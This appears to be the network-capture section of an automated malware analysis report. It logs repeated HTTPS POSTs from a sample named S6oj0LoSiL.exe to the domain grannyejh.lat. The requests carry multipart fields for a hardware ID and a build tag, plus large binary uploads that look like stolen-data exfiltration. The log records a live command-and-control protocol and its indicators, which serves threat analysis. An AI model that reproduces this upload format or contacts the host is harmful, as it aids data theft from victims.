2024-12-19 07:21:09 UTC	1369	IN	Data Raw: 65 77 2b 64 51 4e 7a 4f 2b 2b 53 61 74 6a 42 63 38 41 68 49 44 5a 33 76 4f 6d 47 66 2b 4e 31 45 52 58 63 69 4f 65 4a 4d 42 38 38 30 55 4e 52 72 33 38 66 69 6f 34 6a 78 4b 52 66 2b 44 67 78 55 31 71 68 38 4b 5a 62 6a 6d 78 63 4a 53 53 51 6d 39 45 70 50 31 33 56 4f 6e 57 76 54 67 61 6a 6b 69 4f 6f 6f 47 65 55 41 42 31 37 50 34 7a 52 70 6c 4f 6e 63 51 30 4e 30 49 44 6a 70 53 67 66 61 4f 31 72 64 66 73 33 48 2b 36 72 46 74 6d 6b 62 37 30 52 51 46 65 7a 2f 4f 53 6d 4f 74 63 49 50 54 6e 64 6a 61 4b 52 4b 42 63 55 31 52 64 6c 71 31 4d 4c 2b 72 49 44 77 4c 52 62 36 43 77 4e 66 31 4f 41 79 5a 70 54 7a 30 45 6c 48 65 69 55 38 36 51 6c 42 69 44 78 50 6e 54 53 66 35 75 71 70 67 2b 38 34 4b 66 41 45 57 52 58 43 70 69 73 70 6c 76 65 62 46 77 6c 32 4c 7a 72 70 54 41 76 Data Ascii: ew+dQNzO++SatjBc8AhIDZ3vOmGf+N1ERXciOeJMB880UNRr38fio4jxKRf+DgxU1qh8KZbjmxcJSSQm9EpP13VOnWvTgajkiOooGeUAB17P4zRplOncQ0N0IDjpSgfaO1rdfs3H+6rFtmkb70RQFez/OSmOtcIPTndjaKRKBcU1Rdlq1ML+rIDwLRb6CwNf1OAyZpTz0ElHeiU86QlBiDxPnTSf5uqpg+84KfAEWRXCpisplvebFwl2LzrpTAv
2024-12-19 07:21:09 UTC	1369	IN	Data Raw: 69 4c 47 67 66 65 6f 78 61 42 70 45 76 6f 43 43 56 54 56 34 44 4a 76 6d 2f 2f 59 52 6b 70 38 4b 6a 62 76 53 67 58 48 50 46 48 5a 62 4e 54 47 2f 71 4b 41 38 79 42 63 75 55 51 50 54 5a 32 77 63 6b 2b 79 36 63 6c 39 52 33 67 34 63 50 73 48 46 6f 67 38 57 35 30 30 6e 38 72 34 71 35 66 39 49 42 54 7a 44 51 68 52 31 2b 55 31 61 5a 54 32 33 6b 74 48 66 79 51 77 36 45 59 49 77 44 52 54 33 57 4f 66 6a 37 43 6a 6e 62 68 78 58 4e 63 50 48 6e 54 54 34 79 41 70 6a 72 58 43 44 30 35 33 59 32 69 6b 52 77 62 4a 4d 31 6e 52 5a 4e 76 54 38 4b 2b 4d 39 79 67 54 39 77 63 4a 58 39 58 36 4e 47 6d 61 38 39 78 48 54 58 55 78 4d 65 73 4a 51 59 67 38 54 35 30 30 6e 2f 44 6d 6f 34 4c 33 61 7a 58 77 48 77 6c 66 33 75 4d 2b 4b 59 36 31 77 67 39 4f 64 32 4e 6f 70 45 51 44 78 54 39 46 Data Ascii: iLGgfeoxaBpEvoCCVTV4DJvm//YRkp8KjbvSgXHPFHZbNTG/qKA8yBcuUQPTZ2wck+y6cl9R3g4cPsHFog8W500n8r4q5f9IBTzDQhR1+U1aZT23ktHfyQw6EYIwDRT3WOfj7CjnbhxXNcPHnTT4yApjrXCD053Y2ikRwbJM1nRZNvT8K+M9ygT9wcJX9X6NGma89xHTXUxMesJQYg8T500n/Dmo4L3azXwHwlf3uM+KY61wg9Od2NopEQDxT9F
2024-12-19 07:21:09 UTC	1369	IN	Data Raw: 32 77 2f 4d 58 7a 4a 78 6e 32 43 41 4a 53 30 2f 6f 7a 59 35 33 36 33 45 68 43 61 53 67 69 37 30 45 4d 78 6a 4e 65 33 57 4c 66 77 50 32 6b 78 62 5a 70 47 2b 39 45 55 42 58 34 79 79 56 2f 6d 37 6e 34 57 46 39 78 4a 44 7a 79 51 67 37 4c 4c 56 72 4e 4c 4a 47 42 34 61 4f 55 75 48 45 4b 35 78 4d 50 53 70 50 78 63 6d 36 64 75 34 4d 50 51 6e 51 74 50 65 39 4e 42 73 30 7a 56 4e 68 70 31 63 33 38 70 59 33 78 49 78 6e 79 41 67 4a 57 30 2b 63 7a 5a 5a 58 79 31 55 59 4a 4e 57 4d 33 2f 41 6c 58 69 41 31 48 32 6e 54 53 30 62 4b 57 68 75 6b 34 43 66 6f 55 44 68 66 79 36 7a 35 71 6c 50 7a 4c 44 31 59 31 4f 6e 44 6a 52 55 2b 51 65 31 66 5a 59 4e 7a 47 2f 71 75 49 39 79 34 58 2b 41 34 47 52 39 4c 74 4f 6d 57 5a 39 73 6c 46 51 32 6b 71 4f 65 6c 48 42 39 6f 34 46 35 4d 73 32 Data Ascii: 2w/MXzJxn2CAJS0/ozY5363EhCaSgi70EMxjNe3WLfwP2kxbZpG+9EUBX4yyV/m7n4WF9xJDzyQg7LLVrNLJGB4aOUuHEK5xMPSpPxcm6du4MPQnQtPe9NBs0zVNhp1c38pY3xIxnyAgJW0+czZZXy1UYJNWM3/AlXiA1H2nTS0bKWhuk4CfoUDhfy6z5qlPzLD1Y1OnDjRU+Qe1fZYNzG/quI9y4X+A4GR9LtOmWZ9slFQ2kqOelHB9o4F5Ms2
2024-12-19 07:21:09 UTC	1369	IN	Data Raw: 45 2b 79 64 65 78 68 49 46 52 64 37 74 4e 56 65 76 39 64 78 62 54 6e 55 6c 4d 4b 51 48 54 38 64 37 44 2b 51 73 6c 34 48 50 36 73 58 67 61 55 53 33 4d 51 74 62 30 2b 38 6b 65 4e 7a 59 7a 46 6c 44 59 47 45 57 34 31 67 47 33 6a 5a 46 6e 53 4b 66 78 37 44 38 31 62 5a 70 47 4f 5a 45 55 41 57 50 73 32 63 36 78 71 75 4a 55 41 64 69 59 79 61 6b 45 56 32 47 65 30 57 64 4e 4a 2b 47 38 37 61 58 2f 69 6f 4b 39 45 4d 32 61 2f 33 6a 4a 47 69 63 38 4e 64 78 64 32 34 67 50 75 70 4f 47 64 6c 37 47 5a 31 6a 6e 35 6e 4a 35 4d 32 34 46 6c 4b 33 48 45 67 4e 6e 64 30 78 5a 35 2f 38 7a 56 34 45 57 79 67 6d 35 55 51 45 78 48 6c 57 30 48 7a 59 67 62 37 6b 67 37 68 78 54 4c 6c 45 44 45 53 64 73 47 49 37 79 71 36 49 47 42 6b 70 50 48 37 39 43 52 6d 49 59 77 57 54 4c 4d 32 42 71 4f Data Ascii: E+ydexhIFRd7tNVev9dxbTnUlMKQHT8d7D+Qsl4HP6sXgaUS3MQtb0+8keNzYzFlDYGEW41gG3jZFnSKfx7D81bZpGOZEUAWPs2c6xquJUAdiYyakEV2Ge0WdNJ+G87aX/ioK9EM2a/3jJGic8Ndxd24gPupOGdl7GZ1jn5nJ5M24FlK3HEgNnd0xZ5/8zV4EWygm5UQExHlW0HzYgb7kg7hxTLlEDESdsGI7yq6IGBkpPH79CRmIYwWTLM2BqO
2024-12-19 07:21:09 UTC	1369	IN	Data Raw: 55 63 49 48 47 56 62 64 34 33 49 6e 30 66 32 62 46 78 73 31 59 7a 54 31 43 56 65 59 61 51 79 49 50 34 69 52 6f 72 76 4c 34 57 6b 4b 74 31 78 61 47 35 33 36 63 6a 48 52 76 4e 68 64 57 33 30 67 4a 75 63 4f 4d 66 59 64 56 4e 70 71 33 4d 2f 6e 74 63 66 58 4b 68 66 37 43 41 39 44 34 39 59 6e 61 70 2f 31 33 46 6c 59 4f 32 31 77 36 77 6c 58 38 58 74 47 31 32 75 54 69 62 79 31 6c 76 59 69 43 76 42 45 4e 78 75 64 38 48 49 78 30 63 37 59 51 55 64 38 4e 53 47 70 62 77 7a 50 50 56 54 54 65 38 36 42 76 75 53 44 75 48 46 4f 75 55 51 4d 52 4a 32 77 59 6a 76 4b 72 6f 67 59 47 53 6b 38 66 76 30 4a 47 59 68 6a 42 4a 4d 73 7a 59 47 6f 35 4d 4c 32 4a 42 33 30 43 67 74 48 7a 2b 34 78 66 35 4b 38 35 58 46 73 64 69 34 31 36 6b 34 78 39 68 70 64 7a 57 48 51 78 73 36 61 73 75 6b Data Ascii: UcIHGVbd43In0f2bFxs1YzT1CVeYaQyIP4iRorvL4WkKt1xaG536cjHRvNhdW30gJucOMfYdVNpq3M/ntcfXKhf7CA9D49Ynap/13FlYO21w6wlX8XtG12uTiby1lvYiCvBENxud8HIx0c7YQUd8NSGpbwzPPVTTe86BvuSDuHFOuUQMRJ2wYjvKrogYGSk8fv0JGYhjBJMszYGo5ML2JB30CgtHz+4xf5K85XFsdi416k4x9hpdzWHQxs6asuk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49727	104.21.64.80	443	3200	C:\Users\user\Desktop\S6oj0LoSiL.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 07:21:10 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=K7C5IWLIK4YT40KLE9L User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12851 Host: grannyejh.lat
2024-12-19 07:21:10 UTC	12851	OUT	Data Raw: 2d 2d 4b 37 43 35 49 57 4c 49 4b 34 59 54 34 30 4b 4c 45 39 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 45 30 34 35 32 44 43 42 42 46 38 30 30 46 31 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4b 37 43 35 49 57 4c 49 4b 34 59 54 34 30 4b 4c 45 39 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4b 37 43 35 49 57 4c 49 4b 34 59 54 34 30 4b 4c 45 39 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 Data Ascii: --K7C5IWLIK4YT40KLE9LContent-Disposition: form-data; name="hwid"9E0452DCBBF800F1AC8923850305D13E--K7C5IWLIK4YT40KLE9LContent-Disposition: form-data; name="pid"2--K7C5IWLIK4YT40KLE9LContent-Disposition: form-data; name="lid"PsFKDg--pa
2024-12-19 07:21:11 UTC	1129	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 07:21:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=i9m1ql0sik7p8s9sfmnfndl68e; expires=Mon, 14 Apr 2025 01:07:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aJG25RaYuaB%2BwmtoKMApWrow0SnuZCRiKquYzLf2U3zLl8TEfA8AJ2Q0V%2FiFxgZlodp%2BhtJh%2Fl%2F0sSktcjj%2FwUbqE4vgZ8F9e7P%2BjmndGyGPEmTWvDjH6epXA2tSPS1b"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f45a263dd881899-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1498&min_rtt=1490&rtt_var=576&sent=12&recv=18&lost=0&retrans=0&sent_bytes=2831&recv_bytes=13789&delivery_rate=1871794&cwnd=153&unsent_bytes=0&cid=f1ee1b906a62eb0b&ts=927&x=0"
2024-12-19 07:21:11 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-19 07:21:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49733	104.21.64.80	443	3200	C:\Users\user\Desktop\S6oj0LoSiL.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 07:21:13 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=XTWS43UB16 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15015 Host: grannyejh.lat
2024-12-19 07:21:13 UTC	15015	OUT	Data Raw: 2d 2d 58 54 57 53 34 33 55 42 31 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 45 30 34 35 32 44 43 42 42 46 38 30 30 46 31 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 58 54 57 53 34 33 55 42 31 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 58 54 57 53 34 33 55 42 31 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 58 54 57 53 34 33 55 42 31 36 0d 0a 43 6f 6e 74 65 6e 74 2d Data Ascii: --XTWS43UB16Content-Disposition: form-data; name="hwid"9E0452DCBBF800F1AC8923850305D13E--XTWS43UB16Content-Disposition: form-data; name="pid"2--XTWS43UB16Content-Disposition: form-data; name="lid"PsFKDg--pablo--XTWS43UB16Content-
2024-12-19 07:21:13 UTC	1126	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 07:21:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=n6rbvd4ubdfqmhqlgdrl2uc6dh; expires=Mon, 14 Apr 2025 01:07:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DoZmp3v2fNEw%2FbZ9QyTqSY9yqRGnAS4WnZNdv%2BLvh2rM5R46at35zK6jamISmnlwJZuQ%2FqnVPG30ssIkGRi%2BGXKViZYGidxgK%2Fdq08hswAHtm%2F1JNVPAUpPFPb1YQIMi"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f45a2719e1642ce-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1604&min_rtt=1602&rtt_var=604&sent=9&recv=21&lost=0&retrans=0&sent_bytes=2831&recv_bytes=15944&delivery_rate=1804697&cwnd=233&unsent_bytes=0&cid=a4e4c48267527b43&ts=858&x=0"
2024-12-19 07:21:13 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-19 07:21:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49738	104.21.64.80	443	3200	C:\Users\user\Desktop\S6oj0LoSiL.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 07:21:15 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=J80VH9VVXVU User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20537 Host: grannyejh.lat
2024-12-19 07:21:15 UTC	15331	OUT	Data Raw: 2d 2d 4a 38 30 56 48 39 56 56 58 56 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 45 30 34 35 32 44 43 42 42 46 38 30 30 46 31 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4a 38 30 56 48 39 56 56 58 56 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4a 38 30 56 48 39 56 56 58 56 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 4a 38 30 56 48 39 56 56 58 56 55 0d 0a 43 6f 6e 74 Data Ascii: --J80VH9VVXVUContent-Disposition: form-data; name="hwid"9E0452DCBBF800F1AC8923850305D13E--J80VH9VVXVUContent-Disposition: form-data; name="pid"3--J80VH9VVXVUContent-Disposition: form-data; name="lid"PsFKDg--pablo--J80VH9VVXVUCont
2024-12-19 07:21:15 UTC	5206	OUT	Data Raw: bf a2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac 73 7d 51 30 b7 ee a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 ae 3f 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce f5 45 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 fe 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a d7 17 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 fa a3 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: s}Q0u?4E([:s~X`nO
2024-12-19 07:21:16 UTC	1122	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 07:21:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=f6mvk12gpo1qo8prpbgt9qr5ji; expires=Mon, 14 Apr 2025 01:07:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pPVcAJColax1LiD%2B5p5KcEgMZeln0YJmHk50XoH6JFixwwPAE6OPU8aBdcZV5ycmWXtVzpQmgtqFFvC8leUEs2%2F%2FXDd9XWsKgCrIio6mkmUBpXzbbKaMMJgUKq77AXWi"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f45a27fcc164233-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1588&min_rtt=1579&rtt_var=611&sent=14&recv=25&lost=0&retrans=0&sent_bytes=2830&recv_bytes=21489&delivery_rate=1763285&cwnd=219&unsent_bytes=0&cid=13ed29edebb66e47&ts=1005&x=0"
2024-12-19 07:21:16 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-19 07:21:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49745	104.21.64.80	443	3200	C:\Users\user\Desktop\S6oj0LoSiL.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 07:21:18 UTC	268	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=2VPDZPEF User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1185 Host: grannyejh.lat
2024-12-19 07:21:18 UTC	1185	OUT	Data Raw: 2d 2d 32 56 50 44 5a 50 45 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 45 30 34 35 32 44 43 42 42 46 38 30 30 46 31 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 32 56 50 44 5a 50 45 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 32 56 50 44 5a 50 45 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 32 56 50 44 5a 50 45 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 Data Ascii: --2VPDZPEFContent-Disposition: form-data; name="hwid"9E0452DCBBF800F1AC8923850305D13E--2VPDZPEFContent-Disposition: form-data; name="pid"1--2VPDZPEFContent-Disposition: form-data; name="lid"PsFKDg--pablo--2VPDZPEFContent-Disposit
2024-12-19 07:21:18 UTC	1124	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 07:21:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=h01rpahk7bc3geoo6vmdpd739g; expires=Mon, 14 Apr 2025 01:07:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9e%2Bamtk9GPRAckbzbqaW4ssLzRuJfST%2BojuddtLIlhRgK8%2FEjLXKikf7lN1F6OTfrM4pb9GzUa56km7eBh2uOG4OFo%2FfykBD6xnRI6a338SR4qrbEo4ZbNyOJ99%2FU%2Fr3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f45a291ea0242d2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1581&min_rtt=1574&rtt_var=604&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=2089&delivery_rate=1790312&cwnd=227&unsent_bytes=0&cid=6f8093a08cc74ed0&ts=688&x=0"
2024-12-19 07:21:18 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-19 07:21:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49752	104.21.64.80	443	3200	C:\Users\user\Desktop\S6oj0LoSiL.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 07:21:20 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=C23ZC4GFS User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 584584 Host: grannyejh.lat
2024-12-19 07:21:20 UTC	15331	OUT	Data Raw: 2d 2d 43 32 33 5a 43 34 47 46 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 45 30 34 35 32 44 43 42 42 46 38 30 30 46 31 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 43 32 33 5a 43 34 47 46 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 43 32 33 5a 43 34 47 46 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 43 32 33 5a 43 34 47 46 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 Data Ascii: --C23ZC4GFSContent-Disposition: form-data; name="hwid"9E0452DCBBF800F1AC8923850305D13E--C23ZC4GFSContent-Disposition: form-data; name="pid"1--C23ZC4GFSContent-Disposition: form-data; name="lid"PsFKDg--pablo--C23ZC4GFSContent-Disp
2024-12-19 07:21:20 UTC	15331	OUT	Data Raw: b1 78 ff 3b 88 8e 0a 7e 06 99 e3 49 b2 11 51 f0 0c ea c4 dd e6 80 5d 5b 0c 4c 83 26 96 77 4b aa c9 0c 83 f8 9d 5b 62 a4 cb 10 69 fd 74 df b5 73 c4 de 43 d1 b0 af c8 0c 2f 83 89 6a 9d 58 13 ec 29 1c 8a 64 f2 93 54 74 26 0d 00 c6 e6 78 19 fe 14 85 96 76 fa 71 ea 71 63 15 c2 39 f3 1c 41 ea ec 86 22 a3 de 93 12 76 07 1b ca 8d 92 86 28 48 da 6f 9c e2 52 44 cb fd f4 88 26 f0 6d 4a 65 bd 43 25 27 58 85 19 f7 29 54 b3 bc c5 8f 61 d0 a6 f0 e1 9c 93 1e 58 92 ec cb 4a 8f 73 f9 db fb 71 85 40 12 bf 5a c2 0d 43 ac af 4e 6f 8a 9a 33 69 12 75 98 d5 e9 51 ce 2d 28 7f 56 ab 5c 9b 9e bc 58 b7 c3 34 12 c9 4e 43 51 fc 30 97 74 9a 03 c3 0a fb 61 6e 81 e9 6f e3 e7 c6 6b ec d1 0d 45 67 8f c7 ef f5 59 1b c5 d9 a9 10 6e 18 1b 35 a1 84 ec 06 8c 33 f0 d7 0c 6c 14 e4 d6 bf db 67 d5 Data Ascii: x;~IQ][L&wK[bitsC/jX)dTt&xvqqc9A"v(HoRD&mJeC%'X)TaXJsq@ZCNo3iuQ-(V\X4NCQ0tanokEgYn53lg
2024-12-19 07:21:20 UTC	15331	OUT	Data Raw: 57 7c b4 4e 77 8a a4 7b b4 71 9f 63 0e b8 55 89 9f bb bd f8 9f 80 dd 5f b7 3e e1 4f fe 24 2d 0e 8f f5 8a 2e 62 e2 75 c1 54 8d 18 f6 d9 e7 2b de 7c 78 19 e5 4e 1b 34 cc 3d 7d 07 8d eb 81 18 d6 8e 72 ea 1b eb 63 df b1 9b bd 0f 9e ed 9a 0e 4a b5 05 86 1f ff b6 c7 60 bc fb 56 ea c7 92 25 c3 fc 4c 5c d4 f9 5b 6d 6f cf f1 61 8f 29 bb c7 da 45 8a e2 2e 69 96 f7 f2 92 f8 c5 89 18 30 77 62 9e 51 77 90 72 0c 2e 10 a5 ea a4 d8 22 59 fa ef 67 1f f1 a2 b4 7a 9f d8 bf 13 8b b0 7c 98 65 48 35 78 93 53 9d 95 fe a5 9b de ea 13 3d 7b f5 fd e2 1b 99 cd d3 c3 4f 46 78 ee 51 aa 6e 53 a8 15 8c 7c ee d2 03 33 eb 1e 87 79 50 db d2 94 3a da 6e c1 81 4b 56 87 40 c8 fb cc 2d 81 e0 c3 e4 7c b9 ad 13 a9 97 fc b8 92 6b 29 75 88 62 bb f2 7e 89 9a 0c bb ff 